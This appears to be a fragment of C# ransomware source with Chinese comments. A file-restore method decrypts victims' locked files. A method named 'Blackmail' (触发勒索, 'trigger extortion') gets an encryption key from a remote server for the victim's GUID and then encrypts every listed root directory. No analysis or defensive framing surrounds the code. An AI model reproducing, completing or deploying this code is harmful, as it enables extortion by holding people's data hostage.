/// <summary>
/// 文件恢复
/// </summary>
/// <param name="privKey">椭圆曲线私钥</param>
/// <param name="filePath">文件路径</param>
/// <returns>文件解密后的文件名</returns>
public string RestoreFile(ECPrivateKeyParameters privKey, string filePath)
{
byte[] content = File.ReadAllBytes(filePath);
Debug.Assert(
content.Length >= 33,
"Cannot retrieve an entire public key from " + filePath
);
byte[] hexPubRand = new byte[33];
Array.Copy(content, 0, hexPubRand, 0, 33);
ECPublicKeyParameters pubRand = KeyUtils.DecodeECPublicKey(hexPubRand);
byte[] ciphertext = new byte[content.Length - 33];
Array.Copy(content, 33, ciphertext, 0, content.Length - 33);
byte[] cleartext = engine.Decrypt(
(ECPrivateKeyParameters)privKey,
(ECPublicKeyParameters)pubRand,
ciphertext
);
File.WriteAllBytes(filePath, cleartext);
string originPath = filePath.Replace(lockSuffix, "");
File.Move(filePath, originPath);
return(originPath);
}
/// <summary>
/// 触发勒索
/// </summary>
public static void Blackmail()
{
var cipPubKey = KeyUtils.DecodeECPublicKey(Hex.Decode(
Task.Run(() => HttpUtils.httpreq(guid, HttpUtils.PostAction.Blackmail)).Result
));
foreach (string dir in rootdir)
{
processor.EncryptDirectory(cipPubKey, dir);
}
}